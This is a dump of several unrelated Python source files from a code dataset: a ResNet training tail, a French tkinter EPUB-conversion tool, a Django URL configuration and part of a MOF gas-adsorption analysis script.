global_step=tf.train.get_global_step())\n\n csv_logger = CSVLogger(logfile, append=True, separator=';')\n\n history[optimizer] = model.fit_generator(datagen_train.flow(trainX, trainY, batch_size = batch_size), epochs = epochs, \n validation_data = datagen_test.flow(testX, testY, batch_size = batch_size), verbose=1, callbacks = [csv_logger])\n\n scores = model.evaluate_generator(datagen_test.flow(testX, testY, batch_size = batch_size), verbose=1)\n\n print(\"Final test loss and accuracy:\", scores)\n save_model(save_model_filepath, model)\n","sub_path":"resnet-18/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":6780,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"129468122","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\nfet_main.py\n===========\nProgramme qui adapte au format epub3 les fichiers générés par la plateforme Publiwide \nCe programme initialise quelques variables et lance la fonction new_job de la classe fet_class.py\nfichiers : fet_main.py, fet_class.py\n fet_main <-- fet_class\nauteur : josmet\ndate : 26.03.2018\n\nmodifications :\nVERSION 0.18a - corrigé (anticipé) l'initialisation du chemin du fichier log\nVERSION 0.19a - remplacé le fichier \"validation_fr.js\" par \"validations_fr_jo.js\" pour afficher les solutions des exercices en utilisant mieux la surface de l'écran\n - dans la function dir_job, remplacé le walk par un dir ainsi les sous répertoires ne sont pas parcourus\nVERSION 0.19b - corrigé une erreur dans le nom du fichier de validation.js\nVERSION 0.20a - correction pour le cover : l'image du cover est désormais la premi��re image contenant le mot cover dans le nom \nVERSION 0.21a - mai-juin 2018 - Beaucoup de changement autant dans la présentation, dans la logique et dans les corrections des EPUBs\nVersion 0.21b - 13.06.2018 - Nettoyage phase 1 terminé\nVersion 0.21c - 21.06.2018 - Nettoyage phase 2 terminé, validation des commentaires en cours\nVersion 0.21d - 24.6.2018 - génération TOC en cours\nVersion 0.22a - 25.6.2018 - génération TOC et NCX a tester\nVersion 0.22b - 25.6.2018 - génération TOC et NCX a tester et mathml en cours\nVersion 0.22c - 25.6.2018 - tests et corrections diverses\nVersion 0.22d - 25.6.2018 - tests avec des fichiers provenant directement du site Publiwide\nVersion 0.22e - 29.6.2018 - correction de la gestion du fichier NAV et de ses entrées dans le content.opf\nVersion 0.23a - 03.02.2018 - ajout du management des boutons de navigation en cours\nVersion 0.24a - 08.04.2018 - btn nav ok + corrections sur improve file (affichage des fichiers non traités\nVersion 0.25b - 13.04.2018 - fet_epub_utils.py nettoyé\nVersion 0.25c - 13.04.2018 - fet_class.py nettoyé\nVersion 0.25d - 14.04.2018 - beautify:

    ...

    and

    ...

    on one line\nVersion 0.26a - 14.04.2018 - avec ajout btn pour nav dans Moodle\nversion 0.27a - 07.10.2019 - avec ajout btn file et dir et beautify finalisé\nversion 0.28a - 11.10.2019 - avec ajout nav btn, mise à jour des fichiers .js et .css automatique et beauty stable\nversion 0.28b - 11.10.2019 - avec ajout nav btn, mise à jour des fichiers .js et .css automatique et beauty stable\nversion 0.28c - 11.10.2019 - fet_class.px --> verify_file --> nouvelle version\nversion 0.28c - 11.10.2019 - fet_class.px --> verify_file --> nouvelle version finalisée stable\nversion 0.28d - 12.10.2019 - css pour menu ok et tous les fichiers .css révisés en v02_01\nversion 0.28e - 15.10.2019 - correction pour la mise à jour des liens dans les pages du rpertoire text\nversion 0.28f - 15.10.2019 - amélioration mise en page script\nversion 0.29a - 15.10.2019 - CSS pour TOC amélioré\nversion 0.30a - 22.10.2019 - menus réorganisés, boutons supprimés\nversion 0.30b - 28.10.2019 - petites corrections\nversion 0.30c - 28.10.2019 - rempalcé variables globales (self.xxx) par variables locales (xxx)\nversion 0.30d - 31.10.2019 - nouveau code pour updater .js et .css\nversion 0.31a - 14.11.2019 - version stable yc Moodle nav btn\nversion 0.32a - 18.11.2019 - version stable manque l'aide et le nettoyage du code\nversion 0.33a - 26.11.2019 - version stable, manque l'aide\n\"\"\"\n\nVERSION_FILE = \"fet_main.py\"\nVERSION_NO = \"0.33a\"\nVERSION_DATE = \"26.11.2019\"\nVERSION_AUTEUR = \"Joseph Métrailler\"\nVERSION_DESCRIPTION = \"Protoype fonctionnel, manque l'aide.\"\nVERSION_STATUS = \"Version stable pour utilisatteur averti !\"\n\n\n# external libraries\n# from shutil import copyfile\nimport tkinter as tk\nimport time\nimport os\nfrom tkinter import *\nfrom PIL import Image, ImageTk\n\n\n# this programm files\n# from fet_class import ClasseFet\n# from fet_lib import ClassFetLib\nfrom fet_class import ClasseFet\nfrom fet_lib import ClasseFetLib\nfrom fet_epub_utils import ClasseNavBtn\nfrom fet_xml_formatter import ClasseFetXmlFormatter\n\n\ndef clean_quit(window_2_close):\n print(\"bye from QUIT button\")\n window_2_close.destroy()\n sys.exit(0)\n\n# QUIT =======================================================================================\ndef ask_2_quit():\n lblInfo = tk.Label(btnFrame, text=\"waiting for the cancellation\", textvariable=\"lblInfo\", fg=\"green\", bg=\"yellow\", padx=2)\n lblInfo.grid(row=0, column=0)\n for b in btnFrame.winfo_children():\n if str((b.cget(\"textvariable\"))).strip() == \"btnStop\" or str((b.cget(\"textvariable\"))).strip() == \"lblInfo\":\n b.configure(state=\"disabled\")\n msgDisplay.update()\n # time.sleep(1)\n x.ask_2_quit()\n z.ask_2_quit()\n\n# TEST =======================================================================================\n\n# def test_soft_go():\n# btnStop = tk.Button(btnFrame, text=\"CANCEL\", textvariable=\"btnStop\", command=lambda: ask_2_quit(),\n# bg=\"light blue\", state=\"disabled\").grid(row=0, column=1, ipadx=15, padx=2, pady=5)\n# x.test_soft()\n# for b in btnFrame.winfo_children():\n# if str((b.cget(\"textvariable\"))).strip() == \"btnStop\" or str((b.cget(\"textvariable\"))).strip() == \"lblInfo\":\n# b.destroy()\n\n# MENUS =======================================================================================\n# IMPROVE (OR CORREXT)\n##############\ndef dir_improve_pw_epub_go():\n answ = y.message_box('Attention !', \"Etes-vous sûr de vouloir effectuer cette opération ?\\n Il y a un rsique d\\'écraser des données valides\", 20)\n if answ == 6:\n btnStop = tk.Button(btnFrame, text=\"CANCEL\", textvariable=\"btnStop\", command=lambda: ask_2_quit(),\n bg=\"light blue\", state=\"disabled\").grid(row=0, column=1, ipadx=15, padx=2, pady=5)\n x.dir_improve_pw_epub()\n for b in btnFrame.winfo_children():\n if str((b.cget(\"textvariable\"))).strip() == \"btnStop\" or str((b.cget(\"textvariable\"))).strip() == \"lblInfo\":\n b.destroy()\n\ndef file_improve_pw_epub_go():\n answ = y.message_box('Attention !', \"Etes-vous sûr de vouloir effectuer cette opération ?\\n Il y a un rsique d\\'écraser des données valides\", 20)\n if answ == 6:\n x.file_improve_pw_epub()\n\n# NAV BTN\n##############\ndef dir_add_nav_btn_go():\n btnStop = tk.Button(btnFrame, text=\"CANCEL\", textvariable=\"btnStop\", command=lambda: ask_2_quit(),\n bg=\"light blue\", state=\"disabled\").grid(row=0, column=1, ipadx=15, padx=2, pady=5)\n z.dir_add_nav_btn()\n for b in btnFrame.winfo_children():\n if str((b.cget(\"textvariable\"))).strip() == \"btnStop\" or str((b.cget(\"textvariable\"))).strip() == \"lblInfo\":\n b.destroy()\n\ndef file_add_nav_btn_go():\n z.file_add_nav_btn()\n\ndef dir_remove_nav_btn_go():\n btnStop = tk.Button(btnFrame, text=\"CANCEL\", textvariable=\"btnStop\", command=lambda: ask_2_quit(),\n bg=\"light blue\", state=\"disabled\").grid(row=0, column=1, ipadx=15, padx=2, pady=5)\n z.dir_remove_nav_btn()\n for b in btnFrame.winfo_children():\n if str((b.cget(\"textvariable\"))).strip() == \"btnStop\" or str((b.cget(\"textvariable\"))).strip() == \"lblInfo\":\n b.destroy()\n\ndef file_remove_nav_btn_go():\n z.file_remove_nav_btn()\n\n# JS AND CSS\n##############\ndef dir_update_js_and_css_go():\n btnStop = tk.Button(btnFrame, text=\"CANCEL\", textvariable=\"btnStop\", command=lambda: ask_2_quit(),\n bg=\"light blue\", state=\"disabled\").grid(row=0, column=1, ipadx=15, padx=2, pady=5)\n z.dir_update_js_and_css()\n for b in btnFrame.winfo_children():\n if str((b.cget(\"textvariable\"))).strip() == \"btnStop\" or str((b.cget(\"textvariable\"))).strip() == \"lblInfo\":\n b.destroy()\n\ndef file_update_js_and_css_go():\n z.file_update_js_and_css()\n\n# CHANGE POLICE\n##############\ndef dir_change_police_go():\n btnStop = tk.Button(btnFrame, text=\"CANCEL\", textvariable=\"btnStop\", command=lambda: ask_2_quit(),\n bg=\"light blue\", state=\"disabled\").grid(row=0, column=1, ipadx=15, padx=2, pady=5)\n z.dir_change_police()\n for b in btnFrame.winfo_children():\n if str((b.cget(\"textvariable\"))).strip() == \"btnStop\" or str((b.cget(\"textvariable\"))).strip() == \"lblInfo\":\n b.destroy()\n\ndef file_change_police_go():\n z.file_change_police()\n\n# PREPARE FOR MOODLE\n##############\ndef dir_prepare_for_moodle_go():\n answ = y.message_box('Information !', \"Cette fonctionalité n'est disponible que pour des essais ?\\n les images ne sont pas importées correctement\\n \", 52)\n if answ == 6:\n btnStop = tk.Button(btnFrame, text=\"CANCEL\", textvariable=\"btnStop\", command=lambda: ask_2_quit(),\n bg=\"light blue\", state=\"disabled\").grid(row=0, column=1, ipadx=15, padx=2, pady=5)\n z.dir_prepare_for_moodle()\n for b in btnFrame.winfo_children():\n if str((b.cget(\"textvariable\"))).strip() == \"btnStop\" or str((b.cget(\"textvariable\"))).strip() == \"lblInfo\":\n b.destroy()\n\ndef file_prepare_for_moodle_go():\n answ = y.message_box('Attention !', \"Cette fonctionalité n'est que partiellement implémentée !\\nL'importation des images ne fonctionne pas\\net les résultats sont à vérifier soigneusement.\\n\\nVoulez-vous continuer ?\", 52)\n if answ == 6:\n z.file_prepare_for_moodle()\n\n# 2_3_4 et 1_2_3_4\n##############\ndef file_1_2_3_go():\n z.file_1_2_3()\n\ndef file_1_2_3_4_go():\n z.file_1_2_3_4()\n\n# VERIFY BATCH\n##############\ndef dir_verify_epub_go():\n btnStop = tk.Button(btnFrame, text=\"CANCEL\", textvariable=\"btnStop\", command=lambda: ask_2_quit(),\n bg=\"light blue\", state=\"disabled\").grid(row=0, column=1, ipadx=15, padx=2, pady=5)\n z.dir_verify_epub()\n for b in btnFrame.winfo_children():\n if str((b.cget(\"textvariable\"))).strip() == \"btnStop\" or str((b.cget(\"textvariable\"))).strip() == \"lblInfo\":\n b.destroy()\n\ndef verify_job_go():\n x.verify_job()\n\ndef xml_format_btn_go():\n f.beautify_xml()\n\ndef view_log_file_check():\n log_file_path_name = \"\".join([str(os.getcwd()).replace(\"\\\\\", \"/\").replace(\"\\n\", \"\"), \"/log/\"])\n cmd = \"\".join([\"notepad \", log_file_path_name, \"epub_prob.txt\"])\n os.system(cmd)\n\ndef view_log_dir_check():\n log_file_path_name = \"\".join([str(os.getcwd()).replace(\"\\\\\", \"/\").replace(\"\\n\", \"\"), \"/log/\"])\n cmd = \"\".join([\"notepad \", log_file_path_name, \"epub_check_result.txt\"])\n os.system(cmd)\n\ndef edit_ini_file():\n prg_file_path_name = \"\".join([str(os.getcwd()).replace(\"\\\\\", \"/\").replace(\"\\n\", \"\"), \"/\"])\n cmd = \"\".join([\"notepad \", prg_file_path_name, \"fet_epub.ini\"])\n os.system(cmd)\n answer = tk.messagebox.askquestion(\"Modification du fichier ini\",\"L'application doit être redémarrée \\npour prendre en compte les changements du fichiers ini !\\n\\n Voulez-vous QUITTER l'application maintenant ?\", icon = 'warning')\n if answer == 'yes':\n msgFrame.destroy()\n print(\"bye from QUIT button\")\n sys.exit(0)\n\ndef about():\n tk.messagebox.showinfo \\\n (\"FET EPUB optimizer\", \"\".join([ \\\n \"FET EPUB optimizer\", \"\\n\\n\" \\\n \"Version no : \", VERSION_NO, \" du \", VERSION_DATE, \"\\n\", \\\n \"Status : \", VERSION_STATUS, \"\\n\", \\\n \"Auteur : \", VERSION_AUTEUR, \"\\n\\n\", \\\n \"Remarque : \\n\", VERSION_DESCRIPTION, \"\\n\"])\n )\n\ndef aide():\n tk.messagebox.showwarning \\\n (\"FET EPUB optimizer\", \"\".join([ \\\n \"FET EPUB optimizer\", \"\\n\\n\" \\\n \"Aide pas encore rédigée !\"]))\n# declare the display\nmsgDisplay = tk.Tk()\n# fix the dimensions of the application window\nWIN_WIDTH = 800\n# WIN_WIDTH = 800\nWIN_HEIGHT = 500\nTOOL_BAR_HEIGHT = 80\n# Get screen width and height\nscreenWidth = msgDisplay.winfo_screenwidth() # width of the screen\nscreenHeight = msgDisplay.winfo_screenheight() # height of the screen\n# Calculate the smaller dimention between screen and application\nmaxWidth = min(WIN_WIDTH, screenWidth)\nmaxHeight = min(WIN_HEIGHT, screenHeight - TOOL_BAR_HEIGHT)\n# open the application window in the center horizontaly and to the top verticaly\nwinPosX = (screenWidth / 2) - (int(maxWidth / 2))\nwinPosY = (screenHeight / 2) - (int(maxHeight / 2)) - int(TOOL_BAR_HEIGHT / 2)\n# fix the geometry os the formular\nmsgDisplay.geometry('%dx%d+%d+%d' % (maxWidth, maxHeight, winPosX, winPosY))\nmsgDisplay.title(\"\".join([\"FET epub optimizer version : \", VERSION_NO, \" - \", VERSION_DATE, \" - \", VERSION_DESCRIPTION]))\nimg_tmp=\"C:/Users/jmetr/_data/mandats/FET_new/fet_elt_epub/ressources/logo_fet.png\"\nimg=ImageTk.PhotoImage(Image.open(img_tmp))\nmsgDisplay.call('wm','iconphoto',msgDisplay,img)\n\nbeauty_yes_no = tk.BooleanVar()\nbeauty_yes_no.set = False\ndebug_yes_no = False\nlog_yes_no = False\nverbose_yes_no = False\n\n# create a frame in the display formular\n\nmsgFrame = tk.Frame(msgDisplay)\nmsgFrame.pack(fill=tk.Y, expand=1)\n# add listBox and scrollbar for it\nvarMsg = StringVar()\nmsgList = tk.Listbox(msgFrame)\nmsgList.config(width=maxWidth)\nmsgSbar = tk.Scrollbar(msgFrame)\nmsgSbar.config(command=msgList.yview)\nmsgList.config(yscrollcommand=msgSbar.set)\nmsgSbar.pack(side=tk.RIGHT, fill=tk.Y)\nmsgList.pack(side=tk.LEFT, fill=tk.BOTH, expand=1)\n\nmenubar = Menu(msgDisplay)\n\n# create a pulldown menu, and add it to the menu bar\nfilemenu = Menu(menubar, tearoff=0)\nfilemenu.add_command(label=\"Exit\", command=msgDisplay.quit)\nmenubar.add_cascade(label=\"File\", menu=filemenu)\n\nvariable = StringVar(menubar)\nvariable.set('USER') # default value\n\n# SINGLE EPUB\nsingleepubmenu = Menu(menubar, tearoff=0)\nsingleepubmenu.add_command(label=\"0 - Correct PW file\", command=lambda: file_improve_pw_epub_go())\nsingleepubmenu.add_separator()\nsingleepubmenu.add_command(label=\"1 - Update .js ans .css file\", command=lambda: file_update_js_and_css_go())\nsingleepubmenu.add_command(label=\"2 - Change police file\", command=lambda: file_change_police_go())\nsingleepubmenu.add_command(label=\"3 - Add nav btn file\", command=lambda: file_add_nav_btn_go())\nsingleepubmenu.add_separator()\nsingleepubmenu.add_command(label=\"1 - 2 - 3\", command=lambda: file_1_2_3_go())\n# singleepubmenu.add_separator()\n# singleepubmenu.add_command(label=\"1 - 2 - 3 - 4\", command=lambda: file_1_2_3_4_go())\n# singleepubmenu.add_separator()\n# singleepubmenu.add_command(label=\"Remove nav btn file\", command=lambda: file_remove_nav_btn_go())\nsingleepubmenu.add_separator()\nsingleepubmenu.add_command(label=\"Verify file\", command=verify_job_go)\nmenubar.add_cascade(label=\"Single EPUB\", menu=singleepubmenu)\n\n# BATCH JOB (DIR)\ndirepubmenu = Menu(menubar, tearoff=0)\ndirepubmenu.add_command(label=\"Correct PW (dir)\", command=lambda: dir_improve_pw_epub_go())\ndirepubmenu.add_separator()\n# direpubmenu.add_command(label=\"Remove nav btn dir\", command=lambda: dir_remove_nav_btn_go())\n# direpubmenu.add_separator()\ndirepubmenu.add_command(label=\"Update js and css (dir)\", command=lambda: dir_update_js_and_css_go())\ndirepubmenu.add_command(label=\"Change police (dir)\", command=lambda: dir_change_police_go())\ndirepubmenu.add_command(label=\"Add nav btn (dir)\", command=lambda: dir_add_nav_btn_go())\n# direpubmenu.add_separator()\n# direpubmenu.add_command(label=\"Prepare for moodle dir\", command=lambda: dir_prepare_for_moodle_go())\ndirepubmenu.add_separator()\ndirepubmenu.add_command(label=\"Verify (dir)\", command=lambda: dir_verify_epub_go())\nmenubar.add_cascade(label=\"Batch epub(s)\", menu=direpubmenu)\n\n# UTIL MENU\nutilmenu = Menu(menubar, tearoff=0)\n# utilmenu.add_command(label=\"Verify file\", command=verify_job_go)\n# utilmenu.add_command(label=\"Beautify file\", command=xml_format_btn_go)\n# utilmenu.add_separator()\nutilmenu.add_command(label=\"View log (file check)\", command=view_log_file_check)\nutilmenu.add_command(label=\"View log (dir check)\", command=view_log_dir_check)\nutilmenu.add_separator()\nutilmenu.add_command(label=\"Edit init file\", command=edit_ini_file)\n# utilmenu.add_separator()\n# utilmenu.add_command(label=\"Test (prototype)\", command=test_soft_go)\n# utilmenu.add_command(label=\"Essai (prototype)\", command=prg_essais)\nmenubar.add_cascade(label=\"Util\", menu=utilmenu)\n\nessaismenu = Menu(menubar, tearoff=0)\nessaismenu.add_command(label=\"4 - Prepare for moodle file\", command=lambda: file_prepare_for_moodle_go())\nmenubar.add_cascade(label=\"Essais\", menu=essaismenu)\n\nhelpmenu = Menu(menubar, tearoff=0)\nhelpmenu.add_command(label=\"About\", command=about)\nhelpmenu.add_command(label=\"Aide\", command=aide)\nmenubar.add_cascade(label=\"Help\", menu=helpmenu)\n\n# testmenu = Menu(menubar, tearoff=0)\n# testmenu.add_command(label=\"test js css\", command=lambda: test_file_update_js_and_css_go())\n# menubar.add_cascade(label=\"Test\", menu=testmenu)\n\n# display the menu\nmsgDisplay.config(menu=menubar)\n\n# prepare the formular to be displayed\nbtnFrame = tk.Frame(msgDisplay)\nbtnFrame.pack(side=tk.BOTTOM)\n\n# file jobs\ncol_no = 2\n\nnav_bar_choice = StringVar(msgDisplay)\nnav_bar_choice.set(\"For the nav bar choose\") # default value\n\n# optionNavBtn = OptionMenu(msgDisplay, nav_bar_choice, \"top fix\", \"bottom fix\", \"no nav bar\")\n# optionNavBtn.pack(side=tk.BOTTOM)\n\ny = ClasseFetLib()\n# initialisation of the class c_Fet\nx = ClasseFet(varMsg, msgList, msgDisplay, btnFrame)\nz = ClasseNavBtn(varMsg, msgList, msgDisplay, btnFrame, nav_bar_choice.get())\nf = ClasseFetXmlFormatter(varMsg, msgList, msgDisplay, btnFrame, nav_bar_choice.get())\n# display the formular and wait until somebody push a button\nx.manage_info(\"To start click on a button\", 1, 1)\n\nmsgDisplay.mainloop()\n\n# Quit pressed, bye bye\nprint(\"... bye ...\")\nsys.exit(0)\n\n","sub_path":"prg/fet_main.py","file_name":"fet_main.py","file_ext":"py","file_size_in_byte":17607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"344685614","text":"from django.contrib import admin\nfrom django.conf.urls import include,url\nfrom posts import views as abc\n\n\nurlpatterns = [\n\nurl(r'^$' , abc.post_home , name='list' ) ,\nurl(r'^create/$' , abc.post_create , name='create' ) ,\nurl(r'^detail/(?P[\\w-]+)/$' , abc.post_detail , name='detail' ) ,\nurl(r'^update/(?P[\\w-]+)/$' , abc.post_update , name='update' ) ,\nurl(r'^delete/(?P[\\w-]+)$' , abc.post_delete , name='delete' ) ,\nurl(r'^comment/(?P[\\w-]+)$' , abc.post_comment , name='comment' ) ,\n\n]\n","sub_path":"src/posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"30513581","text":"\"\"\"\nOriginal Code by: Jenna Gustafson\nModifications by: Brian Day\n\nJenna:\nThis code imports mass adsorption data and 'experimental' adsorption data\nfrom simulated output, for multiple MOFs and gas mixtures, and calculates the\nprobability that specific gases are present in specific mole fractions (in\neach experimental case) based on the total mass adsorbed for each MOF.\nAdditionally, the best MOF arrays for detecting each gas are reported,\naccording to the highest information gain.\n\nBrian:\nNote on list comprehension: List comprehension will catch all instances, where\nas simple for loops will only catch the last instance, unless all variables\nare pre-allocated and appended to. Use list comprehension whenever possible.\nIn some instances of the code, using a mof twice would not be captured. Try to\nfix this going forward.\n\n--------------------------------------------------\n----- Full List of Keywords used in functions ----\n--------------------------------------------------\nN.B. Keywords are also defined a second time with each function. Tried to use\nthe same keyword whenever the argument was the same for clarity.\n Simulation results:\n exp_results_import -- dictionary formatted experimental results\n sim_results_import -- dictionary formatted simulated results\n From yaml file:\n stdev -- standard deviation for the normal distribution\n mrange -- range for which the difference between CDFs is calculated\n gases -- list of gases in simulated mixtures\n num_bins -- number of bins specified by user in configuration file\n num_mixtures -- specify integer number of mixtures to add (for interpolation)\n num_mofs -- lower and upper limit of desired number of MOFs in array\n mof_list -- list of MOF structures simulated\n mof_densities -- dictionary of densities\n Calculated by functions / Used internally:\n mof_array -- list of MOFs in a single array\n list_of_arrays -- list of all arrays, and the MOFs in eaach array\n bins -- dictionary containing bin points for each gas\n binned_probabilities -- list of dictionaries, MOF array, gas, PMFs\n element_pmf_results -- list of dictionaries including MOF, mixture, probability\n array_pmf_results -- list of dictionaries, arrays, joint PMFs\n array_kld_results -- list of dictionaries including, MOF array, gas, and corresponding KLD\n Miscellaneous:\n comps -- list of all simulated gas compositions\n\"\"\"\n\n# --------------------------------------------------\n# ----- Import Python Packages ---------------------\n# --------------------------------------------------\nimport copy\nimport csv\nimport operator\nimport os\nimport sys\nfrom datetime import datetime\nfrom functools import reduce\nfrom itertools import combinations\nfrom math import isnan, log\nimport random\n\nimport numpy as np\nimport pandas as pd\nimport scipy.interpolate as si\nimport scipy.stats as ss\nimport yaml\nimport matplotlib\nfrom matplotlib import pyplot as plt\nfrom scipy.spatial import Delaunay\nfrom scipy.interpolate import spline\nimport ternary\n\n# --------------------------------------------------\n# ----- User-defined Python Functions --------------\n# --------------------------------------------------\n\n# ----- Read and Write Data Files -----\ndef read_data_as_dict(filename):\n with open(filename,newline='') as csvfile:\n output_data = csv.DictReader(csvfile, delimiter=\"\\t\")\n return list(output_data)\n\n\ndef write_data_as_tabcsv(filename, data):\n with open(filename,'w', newline='') as csvfile:\n writer = csv.writer(csvfile, delimiter=\"\\t\")\n for line in data:\n writer.writerow([line])\n return writer\n\n\ndef yaml_loader(filepath):\n with open(filepath, 'r') as yaml_file:\n data = yaml.load(yaml_file)\n return data\n\n\ndef import_experimental_data(exp_results_import, mof_list, mof_densities, gases):\n \"\"\"\n ----- Convert simulated/experimental data into dictionary format -----\n Also calculates masses in terms of mg/(cm^3 of framework)\n Keyword arguments:\n exp_results_import -- dictionary formatted experimental results\n sim_results_import -- dictionary formatted simulated results\n mof_list -- list of MOF structures simulated\n mof_densities -- dictionary of densities\n gases -- list of gases in simulated mixtures\n Can probably omit exp_results_mass in the future and just use the full\n dictionary for further analysis.\n \"\"\"\n exp_results_full = []\n exp_results_mass = []\n exp_mof_list = []\n for mof in mof_list:\n for row in exp_results_import:\n if row['MOF'] == mof:\n mass = float(mof_densities[mof]) * float(row['Mass'])\n row['Mass_mg/cm3'] = mass\n exp_results_full.extend([row])\n exp_results_mass.append({'MOF' : mof, 'Mass' : mass})\n exp_mof_list.append(mof)\n else:\n None\n return exp_results_full, exp_results_mass, exp_mof_list\n\n\ndef import_simulated_data(sim_results_import, mof_list, mof_densities, gases):\n sim_results_full = []\n for mof in mof_list:\n for row in sim_results_import:\n if row['MOF'] == mof:\n mass = float(mof_densities[mof]) * float(row['Mass'])\n row['Mass_mg/cm3'] = mass\n sim_results_full.extend([row])\n return sim_results_full\n\n\ndef create_comp_list(simulated_data, mof_list, gases):\n # Extract a list of all possible compositions\n comp_list = []\n for row in simulated_data:\n if row['MOF'] == mof_list[0]:\n temp_dict = {}\n for gas in gases:\n temp_dict[gas] = float(row[gas])\n comp_list.extend([temp_dict])\n\n # Extracta a list of all possible mol fractions for each individual gas\n mole_fractions = {}\n for gas in gases:\n temp_list = []\n for row in comp_list:\n temp_list.extend([float(row[gas])])\n temp_list_no_dups = list(set(temp_list))\n temp_list_no_dups.sort()\n mole_fractions[gas] = temp_list_no_dups\n return comp_list, mole_fractions\n\n\n# Set of potential smoothing functions.\ndef moving_average_smooth(sim_results_import, mof_list, gases, comp_list, mole_fractions, num_points=1):\n \"\"\"\n Smooth a set of simulated data by averageing the data points around a given value. Central points\n sample from points in all directions. Boundary points sample from points along the boundary.\n Corner points remain unchanged.\n With current data strucutre, this function will be highly inefficient. May not be slow enough to\n warrant changing, but worth noting.\n \"\"\"\n\n # Create a temporary data set for the mof of interest. Consider doing this in a separate function.\n data_smoothed = []\n for mof in mof_list:\n\n temp_data = []\n for row in sim_results_import:\n if row['MOF'] == mof:\n temp_data.extend([row])\n\n for comp_main in comp_list:\n temp_dict = {}\n for row in temp_data:\n if [float(row[gas]) for gas in gases] == [comp_main[gas] for gas in gases]:\n temp_dict = dict(row)\n for gas in gases:\n temp_dict[gas] = comp_main[gas]\n\n # Create list of possible compoenent mole fractions to use in determining neighbors.\n allowed_comps = {}\n for gas in gases:\n index = mole_fractions[gas].index(comp_main[gas])\n for i in range(0, num_points+1):\n if index-i >= 0 and index+i <= len(mole_fractions[gas])-1:\n allowed_comps[gas] = [mole_fractions[gas][i] for i in range(index-i, index+i+1)]\n\n # Extract a list of neighbors (include main point) based on the allowed composititons.\n # Since this includes the main point, len(temp_data_subset) will always >= 1.\n temp_data_subset = []\n for row in temp_data:\n boolean_array = []\n for gas in gases:\n if allowed_comps.get(gas) != None:\n if float(row[gas]) in allowed_comps[gas]:\n boolean_array.extend([1])\n else:\n boolean_array.extend([0])\n else:\n boolean_array.extend([0])\n boolean_array = [i for i in boolean_array if i == 0]\n if len(boolean_array) == 0:\n temp_data_subset.extend([row])\n\n # Calculate the average mass of all points in the subset.\n if len(temp_data_subset) != 0:\n mass_total = 0.0\n for row in temp_data_subset:\n mass_total += float(row['Mass_mg/cm3'])\n mass_average = mass_total / len(temp_data_subset)\n temp_dict['Mass_mg/cm3'] = mass_average\n temp_dict['Num_points'] = len(temp_data_subset)\n else:\n mass_average = 0.0\n temp_dict['Mass_mg/cm3'] = temp_dict['Mass_mg/cm3']\n temp_dict['Num_points'] = len(temp_data_subset)\n\n data_smoothed.extend([temp_dict])\n\n return data_smoothed\n\n\ndef reintroduce_random_error(sim_results_import, error=1, seed=0):\n random.seed(seed)\n for row in sim_results_import:\n row['Mass_mg/cm3'] += random.uniform(-error,error)\n\n return sim_results_import\n\n\ndef convert_experimental_data(exp_results_import, sim_results_import, mof_list, gases):\n \"\"\"\n This is a function only meant to convert the set of experimental data from the unsmoothed set to\n the smoothed set, without the need for additional work outside of the code. Should probably streamline\n this process better in the future.\n \"\"\"\n exp_comp = {gas: exp_results_import[0][gas] for gas in gases}\n for row_exp in exp_results_import:\n for row_sim in sim_results_import:\n if row_sim['MOF'] == row_exp['MOF'] and {gas: float(row_sim[gas]) for gas in gases} == {gas: float(row_exp[gas]) for gas in gases}:\n row_exp['Mass_mg/cm3'] = row_sim['Mass_mg/cm3']\n\n return exp_results_import\n\n# def polyfit_average_smooth(sim_results_import):\n# \t\"\"\"\n# \tCustom smoothing strategy in which a polynomial is fit along a set of points along each axis. The\n# \tnew value of the averaged point is the average of each of the polynomial functions evaluated at\n# \tthe given point.\n# \t\"\"\"\n# \tfor mof in mof_list:\n# \t\tfor gas in gases:\n# \t\t\tfor comp in comp_list:\n# \treturn data_smoothed\n#\n#\n# def kernal_smooth(sim_results_import):\n# \treturn data_smoothed\n#\n#\n# def spline_smooth(sim_results_import):\n# \treturn data_smoothed\n\n\ndef add_random_gas(gases, comps, num_mixtures):\n \"\"\"\n ----- Interpolate between simulated data points -----\n ===== NOT FUNCTIONAL AT THE MOMENT =====\n Adds gas mixtures to the original data, between min and max of original mole fractions, as the\n code only predicts simulated mixtues. Interpolation can improve accuracy of prediciton.\n Currently designed for ternary mixtures. Change later if needed.\n Keyword arguments:\n comps -- all simulated gas compositions\n num_mixtures -- specify integer number of mixtures to add\n \"\"\"\n d0_range = [min(comps[:,0]), max(comps[:,0])]\n d1_range = [min(comps[:,1]), max(comps[:,1])]\n d2_range = [min(comps[:,2]), max(comps[:,2])]\n while (len(comps) < 78 + num_mixtures):\n predicted_mass = interp_dat(random_gas)\n if sum(random_gas) <= 1 and not isnan(predicted_mass):\n comps.append(random_gas)\n masses.extend(predicted_mass)\n\n\ndef calculate_element_pmf(exp_results_full, sim_results_full, mof_list, stdev, mrange, type='mass'):\n \"\"\"\n ----- Calculates probability mass function (PMF) of each data point -----\n Keyword arguments:\n exp_results_full -- dictionary formatted experimental results (with new mass units)\n sim_results_full -- dictionary formatted experimental results (with new mass units)\n mof_list -- names of all MOFs\n stdev -- standard deviation for the normal distribution\n mrange -- range for which the difference between cdfs is calculated\n ----------\n Formula for the probability of x in the trunacted PDF over range [a,b] is:\n Norm_PDF(mean,var,x)\n Trunc_PDF(x) = -------------------------------------------\n Norm_CDF(mean,var,b) - Norm_CDF(mean,var,a)\n Can be calculated directly in python with:\n Trunc_PDF(x) = ss.truncnorm.pdf(x, alpha, beta, loc=mu, scale=sigma)\n Jenna's approach is probably better. She calculates the probaility that that\n the real mass falls in a small range around the measured mass. Examine the\n difference between these two approaches in more detail, along with the effects\n of the employed error function parameters.\n \"\"\"\n element_pmf_results = []\n for mof in mof_list:\n # Isolate the simulated results for the mof\n all_results_sim = [row for row in sim_results_full if row['MOF'] == mof]\n all_masses_sim = [row['Mass_mg/cm3'] for row in all_results_sim]\n\n # Isolate the experimental result(s) for the mof\n all_results_exp = [row for row in exp_results_full if row['MOF'] == mof]\n all_masses_exp = [row['Mass_mg/cm3'] for row in all_results_exp]\n\n # Calculate 